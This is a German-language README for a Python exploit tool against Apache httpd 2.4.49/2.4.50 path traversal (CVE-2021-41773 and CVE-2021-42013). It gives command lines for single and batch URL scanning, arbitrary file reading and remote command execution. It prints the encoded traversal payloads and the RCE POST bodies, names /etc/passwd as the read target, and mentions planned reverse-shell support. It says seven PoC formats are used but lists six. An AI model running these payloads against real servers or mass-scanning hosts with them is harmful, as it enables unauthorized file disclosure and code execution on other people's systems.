
Apache httpd Pfad-Traversal-Prüfer (CVE-2021-41773 / CVE-2021-42013)
Am 05.10.2021 wurde eine Path-Traversal-Schwachstelle (CVE-2021-41773) in Apache HTTPD 2.4.49 veröffentlicht, die das Lesen beliebiger Dateien ermöglicht (sofern das traversierte Verzeichnis zugänglich ist, z. B. wenn <Directory />Require all granted</Directory> konfiguriert ist; standardmäßig nicht erlaubt) oder eine Remote-Code-Ausführung (RCE) durch Aktivieren von CGI (das CGI-Modul ist standardmäßig nicht enthalten).
Am 08.10.2021 erschien eine weitere Path-Traversal-Schwachstelle für Version 2.4.50 (CVE-2021-42013), die den Fix von CVE-2021-41773 umgeht.
Details zur Schwachstelle: Apache HTTPD 2.4.49/2.4.50 Path Traversal – Nachstellung und Analyse
Ausführung mit Python3
Hilfe: python3 apache-httpd-path-traversal.py -h

Einzel-URL-Prüfung: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80"


Batch-Prüfung: python3 apache-httpd-path-traversal.py -f urls.txt -t 30 -s 3

Datei lesen: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /icons --readfile

Befehlsausführung: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /cgi-bin --rce

Verwendet urllib.request zum Senden von HTTP-Paketen.
Die Erkennung der Schwachstelle basiert auf dem Lesen von /etc/passwd und der Überprüfung, ob die Rückgabedaten die Zeichenfolge „root:“ enthalten (da die meisten Systeme Linux sind, wird Windows vorerst ignoriert).
Multithreading mit wählbarem Timeout für höhere Effizienz.
Wählbares Verzeichnis (--cdir) und RCE-Shell (--rceshell) für mehr Flexibilität.
Bei der Prüfung wird eine Liste möglicher gemeinsamer Verzeichnisse verwendet, um die Trefferquote zu erhöhen:
commonDirList = ['/cgi-bin', '/icons', '/assets', '/uploads', '/img', '/image']
Hinweis: Manchmal wird das Auslesen von Dateien über das icons-Verzeichnis durchgeführt, während RCE das cgi-bin-Verzeichnis benötigt – je nach Fall unterschiedlich.
Verwendet 7 PoC- und 2 RCE-Post-Data-Formate:
#cve-2021-41773
poc0 = "/.%2e/%2e%2e/%2e%2e/%2e%2e"
poc1 = "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e"
#cve-2021-42013
poc2 = "/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65"
poc3 = "/.%%32%65/.%%32%65/.%%32%65/.%%32%65"
poc4 = "/.%%32e/.%%32e/.%%32e/.%%32e"
poc5 = "/.%2%65/.%2%65/.%2%65/.%2%65"
#rce data
rce0 = "echo;id"
rce1 = "echo Content-Type: text/plain; echo; id"
// Auch die POST-Methode für RCE scheint über GET zu funktionieren.
// Das Payload muss je nach Verzeichnistiefe des Ziel-Apache-Pfads angepasst werden; in der Regel reichen 4 Ebenen.
// Es muss ein auf dem Apache vorhandenes Verzeichnis geben, z. B. icons/ oder cgi-bin/.
Eventuell Unterstützung für Windows-Systeme hinzufügen.
Eventuell weitere Nutzungsmöglichkeiten wie Reverse-Shell hinzufügen.
Gmail: [email protected]